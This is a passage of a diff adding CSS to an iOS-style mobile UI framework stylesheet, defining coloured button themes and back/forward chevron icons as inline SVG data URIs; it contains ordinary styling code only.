+} +.ios .color-theme-pink .button { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .color-theme-pink .button.active-state { + background: rgba(255, 45, 85, 0.15); +} +.ios .color-theme-pink .button.button-active, +.ios .color-theme-pink .button.tab-link-active, +.ios .color-theme-pink .button.button-fill, +.ios .color-theme-pink .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-pink .button.button-active, +.ios .color-theme-pink .button.tab-link-active { + background: #ff2d55; +} +.ios .color-theme-pink .button.button-fill, +.ios .color-theme-pink .button.button-fill-ios { + background: #ff2d55; + border-color: transparent; +} +.ios .color-theme-pink .button.button-small.button-fill.active-state, +.ios .color-theme-pink .button.button-small-ios.button-fill.active-state, +.ios .color-theme-pink .button.button-small.button-fill-ios.active-state, +.ios .color-theme-pink .button.button-small-ios.button-fill-ios.active-state { + color: #ff2d55; + border: 2px solid #ff2d55; + background-color: transparent; +} +.ios .color-theme-yellow .button { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .color-theme-yellow .button.active-state { + background: rgba(255, 204, 0, 0.15); +} +.ios .color-theme-yellow .button.button-active, +.ios .color-theme-yellow .button.tab-link-active, +.ios .color-theme-yellow .button.button-fill, +.ios .color-theme-yellow .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-yellow .button.button-active, +.ios .color-theme-yellow .button.tab-link-active { + background: #ffcc00; +} +.ios .color-theme-yellow .button.button-fill, +.ios .color-theme-yellow .button.button-fill-ios { + background: #ffcc00; + border-color: transparent; +} +.ios .color-theme-yellow .button.button-small.button-fill.active-state, +.ios .color-theme-yellow .button.button-small-ios.button-fill.active-state, +.ios .color-theme-yellow .button.button-small.button-fill-ios.active-state, +.ios .color-theme-yellow .button.button-small-ios.button-fill-ios.active-state { + color: #ffcc00; + border: 2px solid #ffcc00; + background-color: transparent; +} +.ios .color-theme-orange .button { + border-color: #ff9500; + color: #ff9500; +} +.ios .color-theme-orange .button.active-state { + background: rgba(255, 149, 0, 0.15); +} +.ios .color-theme-orange .button.button-active, +.ios .color-theme-orange .button.tab-link-active, +.ios .color-theme-orange .button.button-fill, +.ios .color-theme-orange .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-orange .button.button-active, +.ios .color-theme-orange .button.tab-link-active { + background: #ff9500; +} +.ios .color-theme-orange .button.button-fill, +.ios .color-theme-orange .button.button-fill-ios { + background: #ff9500; + border-color: transparent; +} +.ios .color-theme-orange .button.button-small.button-fill.active-state, +.ios .color-theme-orange .button.button-small-ios.button-fill.active-state, +.ios .color-theme-orange .button.button-small.button-fill-ios.active-state, +.ios .color-theme-orange .button.button-small-ios.button-fill-ios.active-state { + color: #ff9500; + border: 2px solid #ff9500; + background-color: transparent; +} +.ios .color-theme-gray .button { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .color-theme-gray .button.active-state { + background: rgba(142, 142, 147, 0.15); +} +.ios .color-theme-gray .button.button-active, +.ios .color-theme-gray .button.tab-link-active, +.ios .color-theme-gray .button.button-fill, +.ios .color-theme-gray .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-gray .button.button-active, +.ios .color-theme-gray .button.tab-link-active { + background: #8e8e93; +} +.ios .color-theme-gray .button.button-fill, +.ios .color-theme-gray .button.button-fill-ios { + background: #8e8e93; + border-color: transparent; +} +.ios .color-theme-gray .button.button-small.button-fill.active-state, +.ios .color-theme-gray .button.button-small-ios.button-fill.active-state, +.ios .color-theme-gray .button.button-small.button-fill-ios.active-state, +.ios .color-theme-gray .button.button-small-ios.button-fill-ios.active-state { + color: #8e8e93; + border: 2px solid #8e8e93; + background-color: transparent; +} +.ios .color-theme-white .button { + border-color: #ffffff; + color: #ffffff; +} +.ios .color-theme-white .button.active-state { + background: rgba(255, 255, 255, 0.15); +} +.ios .color-theme-white .button.button-active, +.ios .color-theme-white .button.tab-link-active, +.ios .color-theme-white .button.button-fill, +.ios .color-theme-white .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-white .button.button-active, +.ios .color-theme-white .button.tab-link-active { + background: #ffffff; +} +.ios .color-theme-white .button.button-fill, +.ios .color-theme-white .button.button-fill-ios { + background: #ffffff; + border-color: transparent; +} +.ios .color-theme-white .button.button-small.button-fill.active-state, +.ios .color-theme-white .button.button-small-ios.button-fill.active-state, +.ios .color-theme-white .button.button-small.button-fill-ios.active-state, +.ios .color-theme-white .button.button-small-ios.button-fill-ios.active-state { + color: #ffffff; + border: 2px solid #ffffff; + background-color: transparent; +} +.ios .color-theme-black .button { + border-color: #000000; + color: #000000; +} +.ios .color-theme-black .button.active-state { + background: rgba(0, 0, 0, 0.15); +} +.ios .color-theme-black .button.button-active, +.ios .color-theme-black .button.tab-link-active, +.ios .color-theme-black .button.button-fill, +.ios .color-theme-black .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-black .button.button-active, +.ios .color-theme-black .button.tab-link-active { + background: #000000; +} +.ios .color-theme-black .button.button-fill, +.ios .color-theme-black .button.button-fill-ios { + background: #000000; + border-color: transparent; +} +.ios .color-theme-black .button.button-small.button-fill.active-state, +.ios .color-theme-black .button.button-small-ios.button-fill.active-state, +.ios .color-theme-black .button.button-small.button-fill-ios.active-state, +.ios .color-theme-black .button.button-small-ios.button-fill-ios.active-state { + color: #000000; + border: 2px solid #000000; + background-color: transparent; +} +.ios .button.color-red { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .button.color-red.active-state { + background: rgba(255, 59, 48, 0.15); +} +.ios .button.color-red.button-active, +.ios .button.color-red.tab-link-active, +.ios .button.color-red.button-fill, +.ios .button.color-red.button-fill-ios { + color: #fff; +} +.ios .button.color-red.button-active, +.ios .button.color-red.tab-link-active { + background: #ff3b30; +} +.ios .button.color-red.button-fill, +.ios .button.color-red.button-fill-ios { + background: #ff3b30; + border-color: transparent; +} +.ios .button.color-red.button-small.button-fill.active-state, +.ios .button.color-red.button-small-ios.button-fill.active-state, +.ios .button.color-red.button-small.button-fill-ios.active-state, +.ios .button.color-red.button-small-ios.button-fill-ios.active-state { + color: #ff3b30; + border: 2px solid #ff3b30; + background-color: transparent; +} +.ios .button.color-green { + border-color: #4cd964; + color: #4cd964; +} +.ios .button.color-green.active-state { + background: rgba(76, 217, 100, 0.15); +} +.ios .button.color-green.button-active, +.ios .button.color-green.tab-link-active, +.ios .button.color-green.button-fill, +.ios .button.color-green.button-fill-ios { + color: #fff; +} +.ios .button.color-green.button-active, +.ios .button.color-green.tab-link-active { + background: #4cd964; +} +.ios .button.color-green.button-fill, +.ios .button.color-green.button-fill-ios { + background: #4cd964; + border-color: transparent; +} +.ios .button.color-green.button-small.button-fill.active-state, +.ios .button.color-green.button-small-ios.button-fill.active-state, +.ios .button.color-green.button-small.button-fill-ios.active-state, +.ios .button.color-green.button-small-ios.button-fill-ios.active-state { + color: #4cd964; + border: 2px solid #4cd964; + background-color: transparent; +} +.ios .button.color-blue { + border-color: #007aff; + color: #007aff; +} +.ios .button.color-blue.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .button.color-blue.button-active, +.ios .button.color-blue.tab-link-active, +.ios .button.color-blue.button-fill, +.ios .button.color-blue.button-fill-ios { + color: #fff; +} +.ios .button.color-blue.button-active, +.ios .button.color-blue.tab-link-active { + background: #007aff; +} +.ios .button.color-blue.button-fill, +.ios .button.color-blue.button-fill-ios { + background: #007aff; + border-color: transparent; +} +.ios .button.color-blue.button-small.button-fill.active-state, +.ios .button.color-blue.button-small-ios.button-fill.active-state, +.ios .button.color-blue.button-small.button-fill-ios.active-state, +.ios .button.color-blue.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; +} +.ios .button.color-pink { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .button.color-pink.active-state { + background: rgba(255, 45, 85, 0.15); +} +.ios .button.color-pink.button-active, +.ios .button.color-pink.tab-link-active, +.ios .button.color-pink.button-fill, +.ios .button.color-pink.button-fill-ios { + color: #fff; +} +.ios .button.color-pink.button-active, +.ios .button.color-pink.tab-link-active { + background: #ff2d55; +} +.ios .button.color-pink.button-fill, +.ios .button.color-pink.button-fill-ios { + background: #ff2d55; + border-color: transparent; +} +.ios .button.color-pink.button-small.button-fill.active-state, +.ios .button.color-pink.button-small-ios.button-fill.active-state, +.ios .button.color-pink.button-small.button-fill-ios.active-state, +.ios .button.color-pink.button-small-ios.button-fill-ios.active-state { + color: #ff2d55; + border: 2px solid #ff2d55; + background-color: transparent; +} +.ios .button.color-yellow { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .button.color-yellow.active-state { + background: rgba(255, 204, 0, 0.15); +} +.ios .button.color-yellow.button-active, +.ios .button.color-yellow.tab-link-active, +.ios .button.color-yellow.button-fill, +.ios .button.color-yellow.button-fill-ios { + color: #fff; +} +.ios .button.color-yellow.button-active, +.ios .button.color-yellow.tab-link-active { + background: #ffcc00; +} +.ios .button.color-yellow.button-fill, +.ios .button.color-yellow.button-fill-ios { + background: #ffcc00; + border-color: transparent; +} +.ios .button.color-yellow.button-small.button-fill.active-state, +.ios .button.color-yellow.button-small-ios.button-fill.active-state, +.ios .button.color-yellow.button-small.button-fill-ios.active-state, +.ios .button.color-yellow.button-small-ios.button-fill-ios.active-state { + color: #ffcc00; + border: 2px solid #ffcc00; + background-color: transparent; +} +.ios .button.color-orange { + border-color: #ff9500; + color: #ff9500; +} +.ios .button.color-orange.active-state { + background: rgba(255, 149, 0, 0.15); +} +.ios .button.color-orange.button-active, +.ios .button.color-orange.tab-link-active, +.ios .button.color-orange.button-fill, +.ios .button.color-orange.button-fill-ios { + color: #fff; +} +.ios .button.color-orange.button-active, +.ios .button.color-orange.tab-link-active { + background: #ff9500; +} +.ios .button.color-orange.button-fill, +.ios .button.color-orange.button-fill-ios { + background: #ff9500; + border-color: transparent; +} +.ios .button.color-orange.button-small.button-fill.active-state, +.ios .button.color-orange.button-small-ios.button-fill.active-state, +.ios .button.color-orange.button-small.button-fill-ios.active-state, +.ios .button.color-orange.button-small-ios.button-fill-ios.active-state { + color: #ff9500; + border: 2px solid #ff9500; + background-color: transparent; +} +.ios .button.color-gray { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .button.color-gray.active-state { + background: rgba(142, 142, 147, 0.15); +} +.ios .button.color-gray.button-active, +.ios .button.color-gray.tab-link-active, +.ios .button.color-gray.button-fill, +.ios .button.color-gray.button-fill-ios { + color: #fff; +} +.ios .button.color-gray.button-active, +.ios .button.color-gray.tab-link-active { + background: #8e8e93; +} +.ios .button.color-gray.button-fill, +.ios .button.color-gray.button-fill-ios { + background: #8e8e93; + border-color: transparent; +} +.ios .button.color-gray.button-small.button-fill.active-state, +.ios .button.color-gray.button-small-ios.button-fill.active-state, +.ios .button.color-gray.button-small.button-fill-ios.active-state, +.ios .button.color-gray.button-small-ios.button-fill-ios.active-state { + color: #8e8e93; + border: 2px solid #8e8e93; + background-color: transparent; +} +.ios .button.color-white { + border-color: #ffffff; + color: #ffffff; +} +.ios .button.color-white.active-state { + background: rgba(255, 255, 255, 0.15); +} +.ios .button.color-white.button-active, +.ios .button.color-white.tab-link-active, +.ios .button.color-white.button-fill, +.ios .button.color-white.button-fill-ios { + color: #fff; +} +.ios .button.color-white.button-active, +.ios .button.color-white.tab-link-active { + background: #ffffff; +} +.ios .button.color-white.button-fill, +.ios .button.color-white.button-fill-ios { + background: #ffffff; + border-color: transparent; +} +.ios .button.color-white.button-small.button-fill.active-state, +.ios .button.color-white.button-small-ios.button-fill.active-state, +.ios .button.color-white.button-small.button-fill-ios.active-state, +.ios .button.color-white.button-small-ios.button-fill-ios.active-state { + color: #ffffff; + border: 2px solid #ffffff; + background-color: transparent; +} +.ios .button.color-black { + border-color: #000000; + color: #000000; +} +.ios .button.color-black.active-state { + background: rgba(0, 0, 0, 0.15); +} +.ios .button.color-black.button-active, +.ios .button.color-black.tab-link-active, +.ios .button.color-black.button-fill, +.ios .button.color-black.button-fill-ios { + color: #fff; +} +.ios .button.color-black.button-active, +.ios .button.color-black.tab-link-active { + background: #000000; +} +.ios .button.color-black.button-fill, +.ios .button.color-black.button-fill-ios { + background: #000000; + border-color: transparent; +} +.ios .button.color-black.button-small.button-fill.active-state, +.ios .button.color-black.button-small-ios.button-fill.active-state, +.ios .button.color-black.button-small.button-fill-ios.active-state, +.ios .button.color-black.button-small-ios.button-fill-ios.active-state { + color: #000000; + border: 2px solid #000000; + background-color: transparent; +} +/* === Touch Ripple === */ +/* === Icon === */ +i.icon { + display: inline-block; + vertical-align: middle; + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-style: normal; + position: relative; +} +.ios .icon-back, +.ios .icon-prev { + width: 12px; + height: 20px; +} +.ios .icon-forward, +.ios .icon-next { + width: 12px; + height: 20px; +} +.ios .icon-next, +.ios .icon-prev { + width: 10px; +} +.ios .icon-back, +.ios .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .icon-forward, +.ios .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .navbar .f7-icons, +.ios .toolbar .f7-icons { + font-size: 22px; +} +.ios .tabbar .f7-icons, +.ios .tabbar-labels .f7-icons { + font-size: 25px; +} +.ios .item-media .f7-icons { + font-size: 25px; + width: 29px; + height: 29px; +} +.ios .button .f7-icons { + font-size: 22px; +} +.ios .item-media .icon { + color: #808080; +} +.ios .color-theme-red .icon-back, +.ios .icon-back.color-red, +.ios a.link.color-red .icon-back, +.ios .color-theme-red .icon-prev, +.ios .icon-prev.color-red, +.ios a.link.color-red .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-red .icon-forward, +.ios .icon-forward.color-red, +.ios a.link.color-red .icon-forward, +.ios .color-theme-red .icon-next, +.ios .icon-next.color-red, +.ios a.link.color-red .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .icon-back, +.ios .icon-back.color-green, +.ios a.link.color-green .icon-back, +.ios .color-theme-green .icon-prev, +.ios .icon-prev.color-green, +.ios a.link.color-green .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .icon-forward, +.ios .icon-forward.color-green, +.ios a.link.color-green .icon-forward, +.ios .color-theme-green .icon-next, +.ios .icon-next.color-green, +.ios a.link.color-green .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .icon-back, +.ios .icon-back.color-blue, +.ios a.link.color-blue .icon-back, +.ios .color-theme-blue .icon-prev, +.ios .icon-prev.color-blue, +.ios a.link.color-blue .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .icon-forward, +.ios .icon-forward.color-blue, +.ios a.link.color-blue .icon-forward, +.ios .color-theme-blue .icon-next, +.ios .icon-next.color-blue, +.ios a.link.color-blue .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .icon-back, +.ios .icon-back.color-pink, +.ios a.link.color-pink .icon-back, +.ios .color-theme-pink .icon-prev, +.ios .icon-prev.color-pink, +.ios a.link.color-pink .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .icon-forward, +.ios .icon-forward.color-pink, +.ios a.link.color-pink .icon-forward, +.ios .color-theme-pink .icon-next, +.ios .icon-next.color-pink, +.ios a.link.color-pink .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff2d55'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .icon-back, +.ios .icon-back.color-yellow, +.ios a.link.color-yellow .icon-back, +.ios .color-theme-yellow .icon-prev, +.ios .icon-prev.color-yellow, +.ios a.link.color-yellow .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .icon-forward, +.ios .icon-forward.color-yellow, +.ios a.link.color-yellow .icon-forward, +.ios .color-theme-yellow .icon-next, +.ios .icon-next.color-yellow, +.ios a.link.color-yellow .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ffcc00'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .icon-back, +.ios .icon-back.color-orange, +.ios a.link.color-orange .icon-back, +.ios .color-theme-orange .icon-prev, +.ios .icon-prev.color-orange, +.ios a.link.color-orange .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .icon-forward, +.ios .icon-forward.color-orange, +.ios a.link.color-orange .icon-forward, +.ios .color-theme-orange .icon-next, +.ios .icon-next.color-orange, +.ios a.link.color-orange .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff9500'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .icon-back, +.ios .icon-back.color-gray, +.ios a.link.color-gray .icon-back, +.ios .color-theme-gray .icon-prev, +.ios .icon-prev.color-gray, +.ios a.link.color-gray .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .icon-forward, +.ios .icon-forward.color-gray, +.ios a.link.color-gray .icon-forward, +.ios .color-theme-gray .icon-next, +.ios .icon-next.color-gray, +.ios a.link.color-gray .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%238e8e93'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .icon-back, +.ios .icon-back.color-white, +.ios a.link.color-white .icon-back, +.ios .color-theme-white .icon-prev, +.ios .icon-prev.color-white, +.ios a.link.color-white .icon-prev { + background-image: 